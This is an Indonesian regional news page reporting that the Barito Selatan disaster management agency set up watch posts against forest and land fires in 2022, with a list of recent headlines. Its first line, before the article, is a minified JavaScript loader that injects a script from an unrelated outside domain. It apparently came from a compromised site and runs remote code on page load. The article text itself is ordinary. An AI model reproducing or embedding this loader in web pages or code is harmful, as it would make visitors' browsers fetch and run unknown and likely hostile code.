(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

BPBD Barsel Dirikan Posko Siaga untuk Antisipasi Karhutla


KANALKALIMANTAN.COM, BUNTOK– Mengantisipasi dan cegah bencana Kebakaran Hutan dan Lahan (Karhutla), Pemkab Barito Selatan (Barsel) melalui Badan Penanggulangan Bencana Daerah (BPBD) setempat dirikan beberapa posko siaga di beberapa lokasi.

“Posko-posko tersebut digunakan untuk pos jaga dan pengecekan titik hotspot api utntuk ansipasi nanti jika memang terjadi Karhutla,” ucap Lisda Arriyana Pj Bupati Barsel , Jumat (19/8/2022).

Ia juga mengatakan, seperti diketahui pada saat memasuki musim kemarau di beberapa daerah di Kalteng yang masih banyak lahan gambut.

“Oleh sebab itu kami bersama Intansi terkait mengadakan rapat koordinasi ini untuk menentukan status darurat bencana Karhutla sekaligus kesiapan dalam melakukan pencegahan serta penanggulangannya di Kabupaten Barsel selama 90 Hari, terhitung sejak 19 Agustus 2022,” tutur Lisda.

 

Baca juga  : Tumpah Ruah Warga Depan Balai Kota Banjarbaru Jalan Santai Merah Putih

Menurutnya, Karhutla adalah bukan hanya bencana Daerah tapi sudah masuk dalam katagori bencana Nasional. Maka dari itu Pemda setempat dan semua pihak harus terlibat dalam pencegahan dan penanggulangan Karhutla, khususnya di Kabupaten yang bersemboyan Dahani Dahanai Tuntung Tulus ini.

“Sebab,Tidak ada yang mengharapkan datangnya bencana alam, namun apabila suatu ketika terjadi, kita semua sudah siap,” ujar Lisda.

Lebih lanjut olehnya Karhutla mengakibatkan kerusakan lingkungan dan pencemaran udara yang menyertai penyebaran kabut asap yang dapat mengancam kesehatan masyarakat.

Berbagai penyakit bisa muncul, mulai dari sakit tenggorokan, pilek, mata merah, asma, bronkitis, radang paru-paru (pneumonia), hingga penyakit kardiovaskular.

 

Baca juga : Ayo, Tukar Uang Baru Bergambar KH Idham Chalid di BI Kalsel

“Penanggulangan Karhutla ini memerlukan pemikiran yang matang untuk dapat menentukan langkah-langkah cepat, salah satunya adalah kesiapan dalam melakukan pencegahan dan penanggulangan Karhutla itu sendiri,” tegas Lisda.

Kerja keras oleh TNI, Polri, pemerintah dan masyarakat diharapkan mampu mengurangi terjadinya Karhutla.

“Marilah kita bersama-sama menjaga Kabupaten Barsel ini agar terhindar dari bencana asap, dengan cara mencegah supaya tidak terjadi kebakaran yang nantinya menimbulkan asap yang mengganggu kesehatan kita,” pungkas Lisda.(Kanalkalimantan.com/digdo)

Reporter : digdo
Editor : cell


Desy Arfianty

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

3 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

6 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

9 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

9 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

9 jam ago

This website uses cookies.